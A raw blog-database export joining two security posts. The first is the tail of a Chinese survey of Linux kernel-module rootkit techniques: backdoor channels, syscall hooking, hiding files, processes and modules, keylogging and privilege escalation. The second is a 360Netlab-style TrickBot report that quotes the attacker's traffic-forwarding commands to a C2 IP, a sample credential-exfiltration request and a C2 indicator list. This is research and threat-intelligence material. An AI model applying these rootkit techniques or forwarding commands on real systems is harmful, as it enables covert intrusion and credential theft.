SK-6.1；\n\nPS： 这个项目似乎是个半成品，其中有一部分函数有调用过程，却没有实现。\n\n\n## Sutekh\n\n**项目地址**: https://github.com/PinkP4nther/Sutekh\n\n**权限提升**： 参考 SK-9.1\n\n## LilyOfTheValley\n\n**项目地址**：https://github.com/En14c/LilyOfTheValley\n\n**模块自身隐藏**：参考 SK-5.1 和 SK-5.2；\n\n**文件/目录隐藏**：参考 SK-4.1； HOOK 参考 SK-3.1；\n\n**进程隐藏**：参考 SK-7.4； HOOK 参考 SK-3.1；\n\n**权限提升**：参考 SK-9.1；\n\n## research-rootkit\n\n**项目地址**：https://github.com/NoviceLive/research-rootkit\n\nPS: 该项目是个学习性质的项目，并非一个完整的 `rootkit` 所以这里不展开了。\n\n## Out-of-Sight-Out-of-Mind-Rootkit\n\n**项目地址**：https://github.com/NinnOgTonic/Out-of-Sight-Out-of-Mind-Rootkit\n\n**模块自身隐藏**： 参考 SK-5.1 和 SK-5.2；\n\n**网络交互**：参考 SK-1.4； HOOK 参考 SK-3.2；\n\n**文件/目录隐藏**： 参考 SK-4.4； HOOK 参考 SK-3.1；\n\nPS：项目目前是半成品学习性质项目，有PDF介绍，但功能并未完全实现。目前这里只整理一部分已经完整实现的功能。\n\n# LKM-Rootkit 知识点汇总\n\n本节将以知识点汇总的形式介绍各种常见功能的技能点，并为每一个知识点，给出一个编号（SK-X.X），进而标定出相关项目用到了哪种知识点。\n\n## 配置交互\n\n由于 LKM 工作在内核层，编译安装后，很难更改配置。所以一般都需要维护一个通讯接口，供用户侧随时更新配置信息。整理后发现，常见的通讯接口大致可以归类为下几种情况：\n\n**SK-1.1** 通过 Netlink 交互（本地）\n\nNetlink 是标准 socket 提供的一种双向通讯协议，可用于本地配置内核模块，\n通过`socket(PF_NETLINK, SOCK_RAW, NETLINK_USER)` 可完成用户侧的初始化。其中NETLINK_USER为双方约定好的私有编号。\n\n内核层的初始化代码截图如下所示：\n\n\n\nnetlink_kernel_create 这个接口，在不同的内核版本声明不同，当需要做内核适配时，要注意这个接口的声明情况。\n\n**SK-1.2** 通过筛选 ICMP报文 交互（网络）\n\n这是一种可以从网络环境同内核模块交互的方法。下图是一个 ICMP 对接shell后门的实现片段：\n\n\n\n**SK-1.3** 通过 ioctl 进行交互（本地）\n\nioctl 是一种针对 I/O 设备定义的交互方式，在 LKM-Rootkit 中也经常遇到，通过约定一个自定义的协议号，可以实现本地的 Rootkit 交互。下图是一段内核中过滤特定协议号的处理逻辑，供参考：\n\n\n\n**SK-1.4** 通过筛选 IP报文 实现交互（网络）A\n\n这是一种通过筛选 IP 报文，实现内核交互的方法，在 Linux 中，对 IPv4报文 的处理，和一个名为 ip_rcv 的函数有关，通过更改这个函数的处理逻辑，可以完成定制的交互逻辑，下图是被用于替换原函数执行逻辑的代码片段，供参考：\n\n\n\n可以看出，代码覆盖了 TCP/UDP/ICMP 三种协议的处理机制，实现同内核的交互。\n\n**SK-1.5** 文件读写（本地）\n\n在内核中，通过对指定文件读写函数的劫持，可以实现用户和内核间的交互，下图是一个为 `/proc` 目录文件的读写处理函数打 HOOK 的代码片段：\n\n\n\n**SK-1.6** 劫持 kill signal（本地）\n\n有一些内核模块功能很简单，只有单向配置的需求，此时会考虑使用劫持 signal 信号的方案，在 `int kill(pid_t pid, int sig);` 函数中，第二个参数就是 signal，它使用起来足够简单，只要对 `sys_kill` 的处理逻辑增加一个 HOOK 点，就可以筛选出特殊的 signal 标记，很容易实现，所以在一些 Rootkit 中会选择这样的方式向内核发送同步指令：\n\n\n\n**SK-1.7** 劫持 lookup（本地）\n\n在 `inode_operations` 中，有一个 lookup 函数指针，用于查阅相关目录文件。在部分 rootkit 中，会通过改写这个指针中函数的处理逻辑，获知用户正在查阅的文件名，通过对文件名编码，就可以得到用户想要实现的指令了，下图是一个利用该方法解析指令内容的方法：\n\n\n\n**SK-1.8** 中断处理过程劫持（本地）\n\n通过重写内核中的中断处理逻辑，对于正常程序的调用找到原有逻辑执行，筛选出特殊的调用请求。如此可以完成用户和内核模块之间的交互，下图是一个生成新中断处理的逻辑：\n\n\n\n\n**SK-1.9** 筛选 IP报文 实现交互（网络） B\n\n内核在处理收到的网络报文时，会依次交给不同的解析器进行试图解析。解析器可以通过 `dev_add_pack` 进行添加，这样就可以筛选出符合需求的特殊报文，从而得到操作指令，下图是一段调用 `dev_add_pack` 的截图：\n\n\n\n**SK-1.10** 利用 sys_uname（本地）\n\n`uname(struct utsname *buf)` 函数是一个获取机器名的 API，传入参数是一段空内存，执行返回后，这段内存则被填充上当前机器的相关信息。如果在内核中将处理逻辑改写，就可以利用传入的这个空内存向内核模块传递数据了，同时又不会影响该 API 原有的功能。下图是一个被改写后的 `uname` 处理逻辑：\n\n\n\n## syscall_table的获取\n\n在 Linux内核 中，syscall_table(系统调用表) 是一个用来将\"系统中断号\"映射到\"对应功能函数（地址）\"的表格。通过修改这个表格中的内容，就可以完成对某些特定功能函数的HOOK操作，进而修改替换函数的原有执行逻辑，最终完成\"关键信息的隐藏\"。\n\n所以，获取 syscall_table 内存地址是一个非常重要的技能点，它直接决定着 Rootkit 的效果。通过阅读开源代码，大致总结出以下几种获取方式。\n\n**SK-2.1** 暴力搜索\n\n在 sys_close 是Linux 内核提供的一个函数，它是 syscall_table 中第 \"\\_\\_NR\\_close\" 个元素的值，其中 \\_\\_NR\\_close 的值通过内核宏定义，不同的编译环境中，这个值有区别。下图是一个使用该方法的代码截图：\n\n\n\n**SK-2.2** 通过 IDT 搜索\n\nLinux 内核中，syscall_table 是挂在中断描述符表结构下的，所以只要找到中断描述符表，即可确定 syscall_table 的大致范围，同时 syscall_table 中保存的数据又都是系统地址指针，所以此种方法，可相对准确的定位到 syscall_table 结构的位置，下图是具体的代码截图，供参考：\n\n\n\n**SK-2.3** 通过 MSR_LSTAR 定位\n\n在Linux 内核中(arch/x86/include/asm/msr-index.h)，定义了一个 MSR_LSTAR 宏，这是一个和系统调用表执行有关的寄存器，它保存着一个内存地址，实际的 syscall_table 地址将出现在这个地址的后面，确定了大致范围后，即可参考 SK-2.2 的方式，搜索到 syscall_table 地址了，下图是此种方案的代码片段截图：\n\n\n\n**SK-2.4** 通过 kallsyms 获取\n\n在 SK-10.3 中提到了 利用 `kallsyms_on_each_symbol` 获取内核符号的知识点，其实这个接口也可以被用于获取 `syscall_table`，在内核中，其符号名为 `sys_call_table`，一段代码样例如下所示：\n\n\n\n\n\n## 内核钩子（HOOK）\n\n想在 Linux 内核中隐藏信息，首先要有办法把自己的代码插入关键位置并执行。这就需要在内核中的特定位置下钩子。本小节整理的就是下钩子的几种技巧。\n\n**SK-3.1** Hijack钩子\n\n这是一种直接修改内核代码的钩子，它会将一组控制执行顺序的代码直接插入给定的内存地址，进而让自己的代码得到执行。下图是项目中实际的代码截图：\n\n\n\n其中第10行是 `push xxx; ret` 代码的 hex 数据模版，第11行则是将自己的函数地址填充到模版中，进而达到一个 `push new; ret`的效果。与之类似的还可能会遇到 `mov eax，xxx ; jmp eax ` 类型的 hex 模版。\n\n**SK-3.2** nf_hook 钩子\n\nnf 是 netfilter 的缩写，可以从内核层截流网络报文，完成网络交互。下图是利用 nf_hook 实现icmp协议后门的截图：\n\n\n\n**SK-3.3** syscall劫持\n\n在 Linux 系统中，syscall_table 中包含了很多系统相关的重要函数指针，针对性的修改这里的指针内容，可以实现插入自定义函数逻辑的效果，下图是一个劫持 `getdents64` 的代码片段，它先保存了原始的函数（`getdents64`）地址，然后又在 syscall_table 里放了一个自己实现的 `fake_getdents64` 函数地址：\n\n\n\n**SK-3.4** KHOOK 框架\n\n在 Reptile 项目中，用了一个名为 KHOOK 的钩子框架，它是对 SK-3.1 方案的扩展，其在易用性和稳定性中下了一些功夫。在符号查找中，参考了 SK-10.3 的方案。所以这里把它单独提出来作为一个 HOOK 知识点，该项目具体的编码，比较复杂，这里就不展开说了，感兴趣的小伙伴们可以去参考：\nhttps://github.com/milabs/khook 项目，项目中有严谨的描述文档和全部代码，各位可以自行查阅。\n\n\n**SK-3.5** 调试模式\n\nIA-32 从 386 开始，引入了调试寄存器和硬件断点，这意味着在 ring0 层，内核代码的任意位置都可以被设置硬件断点，从而实现对内核代码调试的能力。这种调试能力也为 rootkit 开发提供了一种新的控制流劫持的思路，在 https://github.com/falk3n/subversive 这一款 rootkit 中，就是通过此种方式实现 HOOK 的，它先对 syscall_table 的内存地址下了硬件断点，随后当其他代码访问到 syscall_table 结构时，调试代码都会被执行。下图是一段设置内存断点的代码截图，红框圈定的是它在每个CPU上依次下断的调用逻辑：\n\n\n\n\n## 文件/目录隐藏\n\n**SK-4.1** 目录文件迭代器\n\nVFS中存在一个名为 `file_operations` 的接口抽象，其中存在一个目录文件迭代器。如果对这个迭代器的执行逻辑做一下修改，即可完成对指定文件的隐藏，在Rootkit中一般通过修改根目录迭代器的方式隐藏文件/目录。下图是一个获取迭代器函数的代码片段：\n\n\n\n**SK-4.2** 目录隐藏（Reptile）\n\n在 Reptile 中，目录隐藏功能的实现比较特殊，它通过对一组函数打 HOOK 的方式，从而实现一个隐藏目录无法给他人查阅的能力，这些函数有：\n`fillonedir`/`filldir`/`filldir64`/`compat_fillonedir`/`compat_filldir`/`compat_filldir64`/`__d_lookup`\n\n**SK-4.3** 文件隐藏（Reptile）\n\n在 Reptile 中，文件隐藏是一个临时实现，它是通过对 vfs_read 打 HOOK 实现的。在注释中作者提到: `这不是最佳实现，但它有效，在将来可能会改变`。下图是这段函数头的截图：\n\n\n\n**SK-4.4** 下钩 getdents 函数\n\n在 Linux 中 `getdents` 和 `getdents64` 是显示目录/文件相关的函数，通过改动这两个函数的执行逻辑，可以实现是否显示一个指定文件的效果。下图是一段用于隐藏文件的代码片段截图，可以看到当 file_hiding 开关打开时，会触发一个特殊的逻辑，以便于不显示受保护的文件：\n\n\n\n**SK-4.5** 劫持 readdir\n\n在 SK-4.1 中提到的 `file_operations` 接口抽象中，还有一个 readdir 的函数指针，通过修改这个指针，也能达到文件隐藏的效果，下图是一个 Rootkit 中更改这个指针的代码片段：\n\n\n\n**SK-4.6** 替换 file_operations\n\n在 SK-4.1 和 SK-4.5 中看到的是，替换 `file_operations` 成员成员指针的情况，而如果直接替换这个成员本身，自然也能实现相同的效果，这里就不贴图了。\n\n\n## 模块自身的隐藏\n\n**SK-5.1**: 从模块链表删除自身\n\n在Linux内核中，每一个 `struct module` 通过一个链表结构(struct list_head)，链接在一起。所有和模块遍历有关的操作，都需要依赖这个链表，如果从这个链表中将自身摘出，则模块自身便无法通过遍历的方式被找到了，下图是一个摘除自身的代码片段，以供参考：\n\n\n\n**SK-5.2**：从文件系统移除模块自身\n\n当模块成功安装后，用户可以从 `/sys/modules` 看到新模块的一些基本信息。通过对 `kobject_del` 方法可以移除对应的模块目录，所以在一些 LKM 中也会使用这种方式隐藏自身，下图是一个参考代码：\n\n\n\n**SK-5.3**: 从内核文件树移除模块\n\n在 Linux内核中，有一个内核文件系统，它是通过红黑树的结构组织起来的。这个文件系统运行后将会对应 `/proc`，`/sys` 等虚拟文件目录。如果将当前模块对应的结构从这棵树中摘除，也可以达到隐藏 `/sys/modules` 目录内容的效果。这个方法同 SK-5.2 的区别在于，前者是将内核结构整体从内核删除，而本节是仅删除挂载关系，内核结构还在内存中，下图中红框，就是具体实现的代码片段：\n\n\n\n**SK-5.4** ：内核模块链表脱钩\n\n除 `struct module` 结构以外，内核中还有一个 `module_kobject.kobj` 也是和模块一一对应的，且这个结构也是个通过链表连载一起的结构体。有些 Rootkit 会选择在这里脱钩，实现内核模块的隐藏：\n\n\n\n**SK-5.5** 替换 file_operations\n\n同 SK-4.6 一样，只是替换目标换成了 `/sys/modules` 目录对应的 file_operations 结构。\n\n## 网络会话的隐藏\n\n**SK-6.1** 通过 seq_operations 隐藏网络会话\n\n在 Linux 内核中，网络会话也是一种文件，通过 file 结构可以找到一个名为 `seq_operations.show` 的函数指针，该函数指针用于生成网络会话相关的信息供展示，通过修改对应的函数，可以实现网络会话对用户显示的隐藏。\n\n下图是获取 `tcp4_seq_show` 相关函数地址的代码片段，供参考：\n\n\n\n\n\n如此操作后，就可以通过过滤地址或端口，对特定的网络会话进行屏蔽了。\n\n除 `tcp4_seq_show` 外，还可能出现 `udp4_seq_show`/`tcp6_seq_show`/`udp6_seq_show` 等几种情况。\n\n**SK-6.2** 替换 seq_operations\n\n在 SK-6.1 中，是通过 seq_operations 的成员实现会话流控制，如果直接替换 一个新伪造的 seq_operations 到对应位置，也能实现相同的效果，这里就不截图了。\n\n## 进程隐藏\n\n**SK-7.1** 进程隐藏（Reptile）\n\n在 Reptile 中隐藏进程这个功能的实现，有些特殊，它是通过\"给一组函数打hook\"的方式，最终完成进程隐藏的，在这个过程中，被打 HOOK的函数 有： `audit_alloc`/`copy_creds`/`exit_creds`/`find_task_by_vpid`/`vfs_statx`/`sys_kill`/`__x64_sys_kill`/`tgid_iter`/`load_elf_binary` 。\n\n当一个进程(task)被设置为隐藏后，Reptile 会为其 task_struct.flags 设置一个标记 0x80000000，有趣的是，这个标记在 Linux内核 中代表着 PF_SUSPEND_TASK，是一个进程无法冻结的标记，这会让那些正常设置这个标记的进程也出现隐身效果。\n\n**SK-7.2** 进程隐藏（tasks链表摘除)\n\n在 Linux 中，process/thread 会对应到一个名为 struct task_struct 的结构体，在这个结构体中有一个 tasks 链表成员，它作为一个侵入式的双向链表会将当前 task 同其他 task 链接到一起。有些 Rootkit 会将被保护的 task 从这个链表中摘除，进而无法遍历访问。脱钩方法也很简单，只需要在模块中增加一行代码 `list_del_init(¤t->tasks);` 即可。在一部分 rootkit 中，会考虑自行编码脱钩的逻辑代码，下图就是一个展开实现的样例，它们背后的实现思路都是相同的的：\n\n\n\n**SK-7.3** 隐藏 \"/proc\" 目录信息 A\n\n在 SK-4.1 中，提到了文件目录迭代器的使用。其实 `/proc` 目录中的内容，也可以通过目录文件迭代器实现目录内容的隐藏，下图是一个获取 `/proc迭代器` 的代码片段：\n\n\n\n**SK-7.4** 隐藏 \"/proc\" 目录信息 B\n\n在 SK-4.5 中 提到了通过更改 filldir/readdir 指针隐藏文件的方法，该方法也适用于 `/proc` 目录下的文件。这里就不贴代码图了。\n\n\n**SK-7.5** 通过 syscall hook 隐藏\n\n在 syscall 调用中，有一系列和进程操作相关的函数，如果让这些函数统统对需要隐藏的进程 pid 执行失败，如此 ring3 层便无法查阅到进程的有关信息了，这些函数的列表如下：\n\n```\ngetpgid\ngetsid\nsetpgid\nkill\ntgkill\ntkill\nsched_setscheduler\nsched_setparam\nsched_getscheduler\nsched_getparam\nsched_setaffinity\nsched_getaffinity\nsched_rr_get_interval\nwait4\nwaitid\nrt_tgsigqueueinfo\nrt_sigqueueinfo\nprlimit64\nptrace\nmigrate_pages\nmove_pages\nget_robust_list\nperf_event_open\n```\n\n\n**SK-7.6** 替换 file_operations \n\n同 SK-4.6 类似，只是替换目标为 `/proc` 目录对应的 `file_operations` 结构.\n\n## 键盘记录\n\n**SK-8.1** 键盘记录器\n\n内核提供了`register_keyboard_notifier` 和 `unregister_keyboard_notifier` 两个方法，用于增加或卸载键盘监视器，下图是使用该机制实现键盘记录功能的代码片段：\n\n\n\n**SK-8.2** 键盘记录（`/dev/ttyS0`读写劫持）\n\n在 Linux 中， `/dev/ttyS0` 是一个字符设备（虚拟），可以简单的将之理解为是标准输入，通过重写它的 read 函数，可以捕获用户从键盘输入的内容，下图是一个劫持的代码样例：\n\n\n\n**SK-8.3** `/dev/input/event` 监听\n\n这是一个和输入有关的设备文件，通过监听该文件的变化情况，可以得到用户正在输入的内容。\n\n下图是选自 https://github.com/bones-codes/the_colonel/blob/devx/lkm/col_kl.c 的代码片段，该代码没有合并到 master 分支，似乎是个未完成的版本，仅供参考：\n\n\n\n## 权限提升\n\n**SK-9.1** 本地权限获取\n\n对于 Rootkit 来说，有时需要为普通进程赋予管理员权限。这就涉及到一个名为 cred 的结构体，另一方面，当前进程的 cred 可以通过 `prepare_creds` 可以获取。下图就是一段通过该方式提权的代码段：\n\n\n\n## 其他技术点\n\n**SK-10.1** 执行系统命令\n\n内核提供了 `call_usermodehelper` 函数，用于在用户态运行一个可执行文件。下图是使用该函数，实现shell后门的代码片段：\n\n\n\n**SK-10.2** 从内核启动一个线程\n\n内核提供了 `kernel_create` 函数，用于从内核态启动一个用户态线程。配置好 `subprocess_info` 实例后，即可完成启动。\n\n\n\n**SK-10.3**： 内核符号地址获取 A\n\nLinux 内核提供了一个名为 `kallsyms_on_each_symbol` 的 API，用来获取各种符号在内存中的地址。但该 API 需要 Linux内核 在编译时打开 `CONFIG_KALLSYMS` 宏，好在一些常见的Linux发行版中，默认都支持了这个宏，所以通配性还过得去。下图是基于该API抽象后的获取指定符号地址的代码片段：\n\n\n\n**SK-10.4**：内核符号地址获取 B\n\n在 SK-10.3 中提到了通过 `kallsyms_on_each_symbol` 获取符号地址的方法，其实，与这个API相对的还有另一个名为 `kallsyms_lookup_name` 的孪生API也可以获取一部分符号地址，这里就不贴截图了，感兴趣的小伙伴们自行找源码探索一下。\n\n**SK-10.5**： 通过工作队列执行任务分发\n\n在 Linux内核中，有一个工作队列(workqueue)的机制，可以将特定工作（以函数为单位）分发到不同的CPU中去执行，产生一个内核并发执行任务的效果。编码者将“任务提交”和“任务执行”分开实现，分别对应到 `投递 workqueue` 和 `消费 workqueue` ，Linux内核就会可以辅助完成任务的分发和执行，是一个极为方便使用的 API。\n\n在使用上，它需要先通过 `create_workqueue` 初始化一个新队列，当有新工作需要执行时，再通过 `queue_work` 方法向队列提交这个 work。下图是使用该方法的一段代码截图，供参考：\n\n\n\n\n\n\n\n# 参考资料\n\nhttps://wiki.osdev.org/Inline_Assembly/Examples#RDMSR"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 600a51c7d0d9b7000712a365 |
post | null | 2021-01-26T10:37:59.000Z | 63873b9a8b1c1e0007f52f9a | trickbot | 0 | 2022-02-22T09:30:51.000Z | public | draft | __GHOST_URL__/content/images/2021/02/Snip20210225_12.png | null | 我们视野下的TrickBot | <!--kg-card-begin: markdown--><h1 id="">版权</h1>
<p>版权声明：本文为360Netlab原创，依据<a href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0 </a>许可证进行授权，转载请附上出处链接及本声明。</p>
<h1 id="">背景</h1>
<p>2021年01月08日，360Netlab首次观察到<a href="https://www.fortinet.com/blog/threat-research/new-variant-of-trickbot-being-spread-by-word-document"><strong>TrickBot</strong></a>通过IP 45.89.125.253在互联网上尝试入侵MikroTik Router设备，构建其一级转发代理C2，用来和二级真实C2通信。<br>
<img src="__GHOST_URL__/content/images/2021/01/Snip20210130_65.png" alt="Snip20210130_65" loading="lazy"></p>
<p>我们知道TrickBot网络基础设施是由多级C2的组成，第一级代理C2一般是被黑的主机或IoT设备，这样可以很好的隐藏背后真实的C2主机。我们蜜罐由于智能自动化交互，具有高度的迷惑性，被TrickBot master认为在我们蜜罐主机上成功部署一级代理C2。这样，我们几乎有了幕后操纵者的视角，通过蜜罐收集到了被感染主机的连接请求和背后大量的数据。</p>
<p>Trickbot是一个臭名昭著的网银木马，自2016年被曝光后一直处于非常活跃的状态。经过多年的开发&运营，TrickBot已经变成了一个功能复杂的模块化恶意软件，它可以窃取多种登录凭证，浏览器表单信息，加密货币钱包、窃取邮件信息，收集主机信息甚至还会投递勒索软件，其背后的团伙甚至和APT组织Lazarus合作，定制开发了APT攻击平台TrickBot Anchor。</p>
<p>TrickBot的活跃，让它成为了安全厂商的重点打击对象，<a href="https://blogs.microsoft.com/on-the-issues/2020/10/12/trickbot-ransomware-cyberthreat-us-elections/"><strong>2020年微软和美国执法机构开展的联合打击行动</strong></a>曾重创TrickBot僵尸网络。但是TrickBot并没有走向消亡，此后它借助Emotet强大的传播能力快速恢复。从目前我们的数据来看，它已基本上完成了基础网络设施的重建。</p>
<h1 id="trickbot">TrickBot代理构建过程</h1>
<p>我们观察到TrickBot通过SSH弱口令登录成功后，在目标机器上建立流量转发规则将指定端口(<code>443,449</code>等)的流量转发到第二级CC的方式构建TrickBot一级代理。TrickBot寻找的用来一级代理的目标机器是MikroTik Router，这一点主要通过TrickBot创建流量转发规则的<a href="https://help.mikrotik.com/docs/display/ROS/NAT">firewall</a>命令(例如:<code>/ip firewall nat remove [find where to-addresses=45.89.125.253]</code>)判断。 其构建代理的主要过程如下:<br>
<img src="__GHOST_URL__/content/images/2021/01/Snip20210130_56-1.png" alt="Snip20210130_56-1" loading="lazy"></p>
<p>TrickBot流量转发规则样例:</p>
<pre><code>/ip firewall nat remove [find where to-addresses=192.187.121.58]
/ip firewall nat remove [find where to-addresses=185.14.31.222]
/ip firewall nat remove [find where to-addresses=217.12.203.191]
/ip firewall nat remove [find where to-addresses=45.89.125.253]
/ip firewall nat add chain=dstnat proto=tcp dst-port=449 to-port=80 action=dst-nat to-addresses=45.89.125.253 dst-address={Victim IP}
/ip firewall nat add chain=dstnat proto=tcp dst-port=443 to-port=80 action=dst-nat to-addresses=45.89.125.253 dst-address={Victim IP}
/ip firewall nat add chain=srcnat action=masquerade src-address={Victim IP}
iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 449 --to-destination 45.89.125.253:80 -d {Victim IP}
sudo iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 449 --to-destination 45.89.125.253:80 -d {Victim IP}
iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 443 --to-destination 45.89.125.253:80 -d {Victim IP}
sudo iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 443 --to-destination 45.89.125.253:80 -d {Victim IP}
</code></pre>
<h1 id="">感染规模</h1>
<p>我们观察到TrickBot一共感染了<code>10万</code>多台机器(根据TrickBot http请求中的Client ID计算)。</p>
<p>活跃Bot IP趋势如下：<br>
<img src="__GHOST_URL__/content/images/2021/02/Snip20210225_7.png" alt="Snip20210225_7" loading="lazy"></p>
<p>被感染机器主要分布在美国和欧洲，其Bot源IP地区分布如下：<br>
<img src="__GHOST_URL__/content/images/2021/02/Snip20210225_9.png" alt="Snip20210225_9" loading="lazy"></p>
<p>Bot源IP ASN分布如下：</p>
<pre><code>1353 AS6799 OTEnet S.A.
885 AS5384 Emirates Telecommunications Corporation
796 AS3352 Telefonica De Espana
607 AS8708 RCS & RDS
577 AS3269 Telecom Italia
515 AS25019 Saudi Telecom Company JSC
498 AS7922 COMCAST-7922
470 AS19084 COLOUP
469 AS1267 Wind Tre S.p.A.
442 AS16276 OVH SAS
437 AS30722 Vodafone Italia S.p.A.
340 AS3329 Vodafone-panafon Hellenic Telecommunications Company SA
323 AS3320 Deutsche Telekom AG
305 AS9009 M247 Ltd
293 AS60068 Datacamp Limited
284 AS12479 Orange Espagne SA
281 AS209 CENTURYLINK-US-LEGACY-QWEST
280 AS39891 Saudi Telecom Company JSC
271 AS7018 ATT-INTERNET4
257 AS1241 Forthnet
243 AS12874 Fastweb
234 AS25472 Wind Hellas Telecommunications SA
214 AS577 BACOM
206 AS8075 MICROSOFT-CORP-MSN-AS-BLOCK
204 AS12430 Vodafone Spain
196 AS43766 MTC KSA
194 AS6830 Liberty Global B.V.
179 AS16509 AMAZON-02
176 AS15169 GOOGLE
170 AS9050 Telekom Romania Communication S.A
162 AS20115 CHARTER-20115
160 AS701 UUNET
157 AS9329 Sri Lanka Telecom Internet
155 AS8781 Ooredoo Q.S.C.
149 AS15802 Emirates Integrated Telecommunications Company PJSC
144 AS14061 DIGITALOCEAN-ASN
141 AS3209 Vodafone GmbH
140 AS16232 Telecom Italia
134 AS206067 Three
133 AS53667 PONYNET
129 AS15704 Xtra Telecom S.A.
123 AS22773 ASN-CXA-ALL-CCI-22773-RDC
120 AS4808 China Unicom Beijing Province Network
118 AS18001 Dialog Axiata PLC.
115 AS203507 Avira Holding GmbH & Co. KG
98 AS10796 TWC-10796-MIDWEST
94 AS5607 Sky UK Limited
89 AS11427 TWC-11427-TEXAS
89 AS62744 QUINTEX
87 AS20001 TWC-20001-PACWE
</code></pre>
<h1 id="">窃取数据统计</h1>
<p>我们观察到Trickbot从受害者机器窃取了一共15万左右的登录凭据，主要包括网站、Windows远程登录、VNC、电子邮箱等十几种应用的登录凭据。以及来自浏览器form表单保存的5万多个Email地址和1千多张银行卡信息。其中登录凭据涉及7万多个网站。其窃取的用户数据涉及的协议种类以及来源分布如下：<br>
<a href="__GHOST_URL__/content/images/2021/03/Snip20210301_19b.png"><img src="__GHOST_URL__/content/images/2021/03/Snip20210301_19.png" class="kg-image"/></a></p>
<p>部分TrickBot窃取的登录凭证对应的SLD，详细的SLD列表见文末。<br>
<img src="__GHOST_URL__/content/images/2021/02/Snip20210225_11.png" alt="Snip20210225_11" loading="lazy"></p>
<p>Trickbot窃取数据上传CC请求示例:</p>
<pre><code>POST /mor132/L-PC_W617601.*/81/ HTTP/1.1
Accept: */*
Content-Type: multipart/form-data; boundary=---------EPJILQEWDEXUTOBV
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; wbxapp 1.0.0; wbx 1.0.0)
Host: {}
Content-Length: 883
Cache-Control: no-cache
Cookie: SESSID=da122263a2bd
-----------EPJILQEWDEXUTOBV
Content-Disposition: form-data; name="data"
https://login.gsis.gr|user*|*372
https://login.yahoo.com|zan*@yahoo.gr|*
https://login.yahoo.com|x.xri*@yahoo.gr|*
https://ape.dapeep.gr|x.xri*[email protected]|sola*
https://login.gsis.gr|*|nikos*
https://login.gsis.gr|USER*|*
https://ape.dapeep.gr|x.*@gmail.com|*
https://www1.gsis.gr|user*|*
-----------EPJILQEWDEXUTOBV
Content-Disposition: form-data; name="source"
firefox passwords
-----------EPJILQEWDEXUTOBV--
</code></pre>
<h1 id="">联系我们</h1>
<p>如果需要，对应的机构或者国家cert可以联系我们获取相关数据，以便处理相关事件。联系方式： <a href="https://twitter.com/360Netlab">twitter</a> 。</p>
<h1 id="ioc">IoC</h1>
<h3 id="cc">CC</h3>
<pre><code>46.28.69.129 AS15626|ITL_LLC
185.14.31.222 AS21100|ITL_LLC
209.126.119.88 AS30083|HEG_US_Inc.
87.76.21.20 AS202521|Nexcess.net_L.L.C.
128.30.52.39 AS3|Massachusetts_Institute_of_Technology
45.89.125.253 AS174|Cogent_Communications
51.89.125.117 AS16276|OVH_SAS
217.12.218.109 AS21100|ITL_LLC
64.44.51.70 AS20278|Nexeon_Technologies,_Inc.
185.244.150.26 AS60117|Host_Sailor_Ltd.
91.194.84.115 AS24961|myLoc_managed_IT_AG
192.99.211.47 AS16276|OVH_SAS
37.46.132.106 AS29182|JSC_The_First
84.22.116.81 AS196752|Tilaa_B.V.
185.222.201.63 ASNone;
51.38.147.101 AS16276|OVH_SAS
195.123.240.147 AS204957|ITL-Bulgaria_Ltd.
46.28.69.153 AS15626|ITL_LLC
46.28.69.81 AS15626|ITL_LLC
185.64.105.36 AS61272|Informacines_sistemos_ir_technologijos,_UAB
185.64.105.32 AS61272|Informacines_sistemos_ir_technologijos,_UAB
79.141.160.187 AS202015|HZ_Hosting_Ltd
85.25.100.224 AS8972|Host_Europe_GmbH
192.187.121.58 AS33387|DataShack,_LC
170.130.55.84 AS62904|Eonix_Corporation
31.14.40.68 AS19624|Data_Room,_Inc
5.182.211.218 AS64425|SKB_Enterprise_B.V.
217.12.203.191 AS59729|ITL_LLC
82.146.41.221 AS29182|JSC_The_First
69.64.34.255 AS30083|HEG_US_Inc.
148.251.27.246 AS24940|Hetzner_Online_GmbH
198.12.71.126 AS36352|ColoCrossing
92.63.98.252 AS29182|JSC_The_First
148.251.27.244 AS24940|Hetzner_Online_GmbH
46.28.68.169 AS15626|ITL_LLC
195.123.213.249 AS50979|ITL_LLC
</code></pre>
<h1 id="">附录</h1>
<ul>
<li><a href="https://data.netlab.360.com/feeds/share/trickbot.sld.txt">TrickBot窃取的登录凭证对应的SLD</a></li>
</ul>
<!--kg-card-end: markdown--> | 版权
版权声明：本文为360Netlab原创，依据CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。
背景
2021年01月08日，360Netlab首次观察到TrickBot通过IP 45.89.125.253在互联网上尝试入侵MikroTik Router设备，构建其一级转发代理C2，用来和二级真实C2通信。
我们知道TrickBot网络基础设施是由多级C2的组成，第一级代理C2一般是被黑的主机或IoT设备，这样可以很好的隐藏背后真实的C2主机。我们蜜罐由于智能自动化交互，具有高度的迷惑性，被TrickBot master认为在我们蜜罐主机上成功部署一级代理C2。这样，我们几乎有了幕后操纵者的视角，通过蜜罐收集到了被感染主机的连接请求和背后大量的数据。
Trickbot是一个臭名昭著的网银木马，自2016年被曝光后一直处于非常活跃的状态。经过多年的开发&运营，TrickBot已经变成了一个功能复杂的模块化恶意软件，它可以窃取多种登录凭证，浏览器表单信息，加密货币钱包、窃取邮件信息，收集主机信息甚至还会投递勒索软件，其背后的团伙甚至和APT组织Lazarus合作，定制开发了APT攻击平台TrickBot Anchor。
TrickBot的活跃，让它成为了安全厂商的重点打击对象，2020年微软和美国执法机构开展的联合打击行动曾重创TrickBot僵尸网络。但是TrickBot并没有走向消亡，此后它借助Emotet强大的传播能力快速恢复。从目前我们的数据来看，它已基本上完成了基础网络设施的重建。
TrickBot代理构建过程
我们观察到TrickBot通过SSH弱口令登录成功后，在目标机器上建立流量转发规则将指定端口(443,449等)的流量转发到第二级CC的方式构建TrickBot一级代理。TrickBot寻找的用来一级代理的目标机器是MikroTik Router，这一点主要通过TrickBot创建流量转发规则的firewall命令(例如:/ip firewall nat remove [find where to-addresses=45.89.125.253])判断。 其构建代理的主要过程如下:
